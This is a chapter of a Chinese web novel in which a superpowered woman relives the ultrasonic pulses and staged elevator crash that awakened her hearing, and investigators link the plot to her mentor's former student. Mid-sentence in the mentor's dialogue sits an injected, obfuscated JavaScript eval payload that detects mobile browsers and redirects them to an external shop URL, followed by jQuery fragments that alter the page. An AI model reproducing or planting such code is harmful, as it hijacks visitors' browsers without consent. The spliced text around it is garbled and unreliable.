62.回溯觉醒时刻

作品:《超能力少女的乌龙日常

    周五上午九点,特保局特别准备的一间静室。


    房间不大,约二十平米,墙壁和天花板覆盖着厚厚的吸音材料,地板铺着深灰色的地毯。室内陈设极简:一张铺着白色床单的单人床,两把椅子,一张小茶几,茶几上放着一个香炉和几样杨晓晓叫不出名字的古朴器具。


    秦望舒老人已经到了,正在检查香炉里的香料。他今天穿着一件深灰色的中式上衣,头发梳得一丝不苟,整个人看起来既庄重又平和。


    “小杨来了。”听到开门声,秦老抬起头,露出温和的笑容,“睡得怎么样?”


    “还好。”杨晓晓实话实说,“醒了几次,但总体休息得不错。”


    “那就好。”秦老示意她坐下,“我们先聊聊,不急着开始。你知道今天要做什么吗?”


    杨晓晓在椅子上坐下:“回溯记忆,听清觉醒时的声音。”


    “不止。”秦老在她对面坐下,双手平放在膝盖上,“‘回音溯源’之法,不是简单回忆,而是让当时的听觉体验在当下重现。你会再次‘听到’那些声音,感受到那些感受。这个过程可能……不太舒服。”


    “我准备好了。”杨晓晓说。


    秦老点点头,但没有立刻开始。他从随身带的布包里取出一个小小的锦囊,从里面倒出几颗深褐色的药丸。


    “这是安神定志的丸药,我自己配的。”他递过一颗,“先服下,护住心神。回溯过程中,我会在旁引导,如果感到无法承受,就举手示意,我会立刻停止。”


    杨晓晓接过药丸,就着秦老递来的温水服下。药丸有些苦,但入喉后很快化作一股暖意,缓缓散开。


    “现在,躺到床上,闭上眼睛。”秦老的声音变得柔和而有节奏,“放松身体,从脚开始,一点一点放松……”


    杨晓晓照做。床很柔软,她躺下后,按照秦老的指示,从脚趾开始放松,然后是脚踝、小腿、膝盖……一点一点向上。药效开始发挥作用,她感到身体越来越轻,意识却越来越清醒。


    “想象你正站在一条长廊里。”秦老的声音像从很远的地方传来,“长廊两侧有很多门,每扇门后都是一段声音记忆。今天,我们要找到三个月前的那扇门。”


    杨晓晓在意识中构建出那条长廊。很长的走廊,光线柔和,两侧是一扇扇样式各异的门——有家里的木门,有公司办公室的玻璃门,有特保局训练室厚重的金属门……


    “慢慢往前走。”秦老引导着,“留意那些门上标记的时间。”


    她往前走。经过标注着“上周例会”的门,经过“第一次实战训练”的门,经过“小队聚餐”的门……一直往前走。


    终于,她看到一扇门。门的样式很熟悉——是深蓝科技办公室那种浅灰色的防火门。门牌上写着日期,正是三个月前电梯事故发生的那一天。


    “就是这扇门。”秦老的声音适时响起,“现在,轻轻推开门。不要急,慢慢来。”


    杨晓晓伸手,推开门。


    声音涌了出来。


    首先是办公室里熟悉的环境音:键盘敲击声、打印机运转声、同事讨论项目进度的说话声、空调送风声……这些声音她听过千百遍,此刻在意识中重现,清晰得如同正在发生。


    “这是上午的声音。”秦老说,“继续往前,找到那个特定的时刻。”


    杨晓晓的意识在声音流中移动。她听到自己接电话的声音,听到起身去送文件的脚步声,听到走廊里遇到同事打招呼的声音……


    然后,她听到了。


    上午十点零三分。


    先是正常的背景音,接着——来了。


    一种极细微的嗡鸣,从四面八方传来,频率很高,高到几乎感觉不到,但她的能力让她“听”到了。那不是通过耳膜听到的声音,更像是直接作用于听觉神经的震动。


    嗡……


    像一根极细的针,轻轻刺入耳朵深处。


    眼前瞬间发黑,眩晕感袭来。她扶住墙壁,意识模糊了两三秒。


    那是上午的测试脉冲。


    “记住这个感觉。”秦老的声音像锚点,将她从回忆中稍稍拉回,“现在,继续往前,到下午。”


    意识快速掠过中午休息的声音、下午工作的声音……直到——


    下午四点十七分。


    电梯间。


    按键按下的“嘀”声,电梯门滑开的摩擦声,走进去的脚步声,电梯门关闭的轻响。然后电梯开始下降,钢缆和滑轮的摩擦声,轻微的失重感……


    突然。


    又是那种嗡鸣。但这次强烈得多。


    不是一根针,是无数根针,从四面八方刺来,贯穿头颅。


    高频脉冲以特定序列爆发:25000赫兹、28000赫兹、32000赫兹,强度是上午的十倍不止。


    杨晓晓在床上猛地抽搐了一下。现实中的她额头渗出冷汗,手指抓紧了床单。


    “稳住心神。”秦老的声音依然平稳,“感受声音,但不被它吞噬。”


    在回忆中,电梯开始异常震动。钢缆断裂的金属撕裂声——不,等等,那声音不对。不是自然断裂的杂乱声响,而是……有规律的断裂?


    杨晓晓强迫自己集中注意力,分析那段声音。


    钢缆不是同时断裂的。先是左侧两根,间隔0.2秒;然后是右侧一根;再是剩下的……像是被某种精准的力量依次切断。


    这不是事故。这是切割。


    脉冲还在持续。超声波穿透电梯厢壁,穿透她的颅骨,直接刺激着大脑中处理听觉的区域。她感到那个区域在发热、在膨胀、在重新连接……


    然后是坠落。


    失重。尖叫。风声呼啸。


    在所有这些声音中,超声波脉冲依然持续,像一只无形的手,在她大脑里进行精密的手术。


    “听清脉冲的来源。”秦老引导,“方向,距离。”


    杨晓晓努力分辨。脉冲不是从一个点发出的,而是多个点,呈三角形包围着深蓝科技大楼。高度……在楼顶?不,更高一点。无人机?还是对面楼顶的固定设备?


    脉冲停止了。


    电梯重重砸在缓冲装置上,震耳欲聋的撞击声。


    然后是寂静。短暂的、绝对的寂静。


    接着——


    世界炸开了。


    不是比喻。在杨晓晓的听觉体验中,那一瞬间,所有声音像被压抑已久的洪水,冲破堤坝,以千百倍的音量涌进她的意识。


    她能听到电梯井里每一粒灰尘落地的声音,能听到百米外街道上每一辆车的引擎声,能听到楼上办公室里每个人的呼吸声、心跳声、血液流动的声音……


    信息过载。大脑无法处理。剧痛。恶心。恐惧。


    “啊——”现实中,杨晓晓发出一声压抑的呻吟。


    “可以了。”秦老的声音变得清晰有力,“慢慢退出来。我数三声,你会回到这间屋子。三、二、一。”


    杨晓晓睁开眼睛。


    天花板上的吸音材料映入眼帘。她还在静室里,躺在床上,身上盖着一条薄毯。秦老坐在床边,手里拿着一块温热的毛巾。


    “擦擦汗。”老人温和地说,“第一次回溯,能做到这样已经很好了。”


    杨晓晓坐起来,接过毛巾擦脸。她的手还在微微发抖,后背的衣物已经被冷汗浸湿。


    “我听到了。”她的声音有些沙哑,“脉冲声,很清晰。还有钢缆……是被人为切断的。”


    秦老点点头,递给她一杯温水:“慢慢说,把听到的都告诉我。”


    杨晓晓喝了口水,整理思绪,开始描述回溯中听到的所有细节:脉冲的频率序列、强度变化、来源方向;钢缆断裂的异常规律;以及觉醒瞬间那种“世界炸开”的感觉。


    秦老安静听着,偶尔在本子上记录几笔。等她说完,老人合上本子,沉默了片刻。


    “根据你的描述,”他缓缓开口,“这确实符合古籍中记载的‘启聪音’施术过程。先用低强度脉冲定位和测试,确认目标状态;然后在危机时刻用高强度脉冲刺激,趁人精神涣散、求生本能占据主导时,强行开启‘耳窍’。”


    他顿了顿:“至于钢缆……如果电梯事故是人为制造的,那么施术者不只是要开启你的能力,还要确保你有足够的生存概率。自由落体撞击必死无疑,但如果有缓冲装置,加上急救及时,活下来的可能性就大得多。”


    杨晓晓握紧水杯:“所以他们计算好了一切。什么时候切断钢缆,用什么频率的脉冲,甚至……算好了我会活下来。”


    “恐怕是的。”秦老的表情凝重,“这不是临时起意,是精心策划了很长时间的行动。需要掌握你的基因信息、日常行踪、生理状态,还需要有能力制造电梯事故而不引起过度怀疑。”


    门外传来轻轻的敲门声。


    “进来。”秦老说。


    门开了,陈树走了进来。他手里拿着一份文件,脸色比早上更加严肃。


    “技术组有了新发现。”他没有寒暄,直接进入正题,“在深蓝科技周边三栋建筑的楼顶,找到了超声波发射设备的固定痕迹。设备已经不在,但从留下的印记判断,是专业级定向声波发射器,有效射程五百米,精度可以达到0.1度。”


    他翻开文件:“更关键的是这个——同一时段,这三个位置都有网络访问记录,访问的是一个境外服务器。雷昊反向追踪,发现那个服务器在过去两年里,被同一个IP地址频繁访问。而那个IP地址……”


    他看向杨晓晓:“属于一家注册在开曼群岛的生物科技公司。这家公司的公开业务是‘神经科学前沿研究’,但根据情报组的调查,他们暗地里长期进行超能力诱导实验。三年前在东南亚的一个实验室被当地政府查封,但核心团队转移了,下落不明。”


    房间里的空气仿佛凝固了。


    杨晓晓感到喉咙发干:“这家公司……叫什么名字?”


    “Aether Dynamics。”陈树说出一个名字,“中文翻译是‘以太动力’。他们的创始人是个美籍华裔科学家,中文名林振宇,神经科学博士,十年前从麻省理工学院离职后创立这家公司,行事极为低调。”


    秦望舒老人忽然站了起来。他的动作有些急,差点碰倒桌上的香炉。


    “林振宇……”老人重复这个名字,脸色变得苍白,“是不是……左眼角有颗很小的痣?说话时习惯性用右手食指敲桌面?”


    陈树皱眉:“您认识他?”


    “三十年前,他是我的学生。”秦望舒的声音在颤抖,“最有天赋的学生之一。但他……太着急了。总想用最快的方法取得突破,不愿意遵循古法的循序渐进。我们吵过很多次,最后他离开研究院,去了国外。”


    老人跌坐回椅子上,双手紧握:“如果真的是他……那他这些年,一直在做我们当年严令禁止的研究——人为诱导超能力,而且是用这种……这种不计后果的方式。”


    杨晓晓看着秦老颤抖的手,忽然意识到一件事:如果林振宇真的是策划者,那么她面对的不是一个陌生的恶人,而是秦老曾经寄予厚望的学生,是一个背离师门、走上歧途的天才。


    而她自己,是这个天才“作品”中的一件。


    “秦老,”她轻声问,“您这位学生……他为什么执着于开启别人的听力?”


    秦望舒闭上眼睛,很久才睁开:“因为他妹妹。他妹妹先天性耳聋,现代医学治不好。他想找到‘开耳窍’的方法,让妹妹听到声音。这是他的初心。”


    初心。一个美好的初心,如何扭曲成如今的模样?


    “后来呢?”陈树问。


    “他妹妹十五岁那年,他在她身上尝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197780|197074||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    试了自己研究的声波疗法。”秦老的声音充满痛惜,“失败了。不但没治好耳聋,还造成了永久性脑损伤,妹妹成了植物人,三年后去世。从那以后,他就变了。不再是为了治愈,而是为了证明——证明他的理论是对的,只是需要更多的实验,更好的‘材料’。”


    材料。这个词让杨晓晓感到恶心。


    在实验室里,她洗过那么多培养皿,整理过那么多样品,知道“材料”意味着什么——是可观察、可测量、可丢弃的对象。


    而她,成了某个人实验记录里的一个编号,一个数据点。


    “我需要见这个人。”杨晓晓说,声音出乎意料地平静,“如果这一切真的是他做的,我想知道他为什么选中我,想知道他到底想做什么。”


    “现在还不行。”陈树摇头,“我们只有间接证据,没有直接证据指向林振宇本人。而且如果打草惊蛇,他可能会彻底隐藏起来,或者……采取更极端的行动。”


    他看向杨晓晓:“但有一点可以确定——暗网上那个悬赏,很可能就是他发布的。不是为了抓你,而是为了测试。测试你的能力参数,测试市场的反应,测试……有没有其他买家对他这种‘制造能力者’的技术感兴趣。”


    商业价值。一个能够人为制造超能力者的技术,在暗网上值多少钱?恐怕不是五百万美金能衡量的。


    杨晓晓站起来,走到窗边。静室没有窗户,她面对的是墙壁,但她需要一点时间消化这些信息。


    三个月来,她一直在适应自己的能力,学习控制它,用它来帮助他人,用它来守护这座城市。


    现在她知道了,这能力可能是一个疯子科学家强加给她的“礼物”。而这个疯子,现在可能在暗处观察着她,评估着她的“性能”,盘算着如何“回收”或“复制”她。


    “陈队,”她转身,“接下来怎么办?”


    陈树合上文件:“第一,加强你的全方位保护。第二,成立专案组,全力调查‘以太动力’和林振宇。第三,你需要接受更系统的训练——不只是控制能力,还要学习如何防范针对能力者的专门手段。”


    他顿了顿:“最重要的是,你需要知道,无论你的能力是怎么来的,它现在属于你。你用它做了什么,决定了它的意义。”


    这句话像一道光,刺破杨晓晓心中的阴霾。


    是的。能力是她的。痛苦是她的。这三个月的挣扎、训练、成长,都是她的。她用这双耳朵保护过人质,帮助过队友,守护过科学家。这些都是真实的,都是她自己选择的。


    即使这能力最初是被强加的,但她可以选择用它来做什么。


    “我明白了。”她说,“我会继续训练,继续工作。但请让我参与调查——没有人比我更了解这能力的感觉,也许我能从声音线索中发现更多。”


    陈树思考片刻,点头:“可以。但一切行动必须在保护框架内进行。雷昊会给你定制反侦察设备,熊毅和林墨会负责你的外出安全。”


    “谢谢陈队。”


    秦望舒老人也站了起来。他走到杨晓晓面前,枯瘦的手轻轻拍了拍她的肩:“孩子,你受苦了。但记住,古籍中说:‘天将降大任于斯人也,必先苦其心志,劳其筋骨。’你的能力,虽然来得不公,但可以用得正直。这才是最重要的。”


    “我会的,秦老。”杨晓晓郑重地说。


    离开静室时,已经中午了。走廊里阳光正好,从尽头的窗户洒进来,在地上铺出一条光带。


    杨晓晓走在光里,感觉身体还有些虚弱,但心里比来时要清明得多。


    她知道了一些可怕的真相,但也知道了自己不是一个人在面对。她有队友,有组织,有像秦老这样智慧的长者指引。


    手机震动,是“深蓝幼儿园”群里的消息:


    雷昊:@所有人重大进展!我追踪到‘以太动力’的一个秘密服务器,正在破解!今晚可能要通宵,谁给我带夜宵?


    熊毅:我值班,给你带。


    林墨:我明天早点去换你班。


    杨晓晓:谢谢大家。我这边也有进展,晚点简报室汇总。


    她收起手机,走向食堂。


    中午的食堂人声鼎沸,各种声音交织在一起——打饭阿姨的吆喝,餐具碰撞的脆响,同事们的谈笑声。这些声音曾经让她痛苦,现在却是她熟悉的背景音,是她能力的一部分,是她守护的日常的一部分。


    她排队打饭,要了一份红烧肉和清炒时蔬。端着餐盘找位置时,看到熊毅和林墨已经在老位置等她。


    “晓晓,这边。”林墨朝她挥手。


    杨晓晓走过去坐下。熊毅递过来一双筷子——已经帮她掰开了。


    “谢谢。”她接过,开始吃饭。


    红烧肉炖得很烂,入口即化。清炒时蔬脆嫩爽口。简单的饭菜,却有踏实的味道。


    “下午有什么安排?”林墨问。


    “训练。”杨晓晓说,“陈队说要加强防范训练。你们呢?”


    “我们继续布控。”熊毅言简意赅,“研究院周边还需要加固几个点位。”


    三人安静地吃饭。阳光透过食堂的窗户照进来,在餐桌上投下明亮的光斑。


    杨晓晓听着周围的声音,忽然觉得它们不再只是嘈杂的背景,而是某种证明——证明她还在这里,还能吃饭,还能训练,还能和队友坐在一起讨论下午的安排。


    不管能力是怎么来的,生活还在继续,工作还在继续,守护还在继续。


    而她,会选择用自己的方式,继续走下去。


    用这双可能被强加的耳朵,去听清更多的真相,去守护更多的平凡。


    问题不大——她对自己说,这次是真的这么觉得。


    因为最可怕的不是黑暗的过去,而是失去面对未来的勇气。


    而她,还有勇气,还有很多。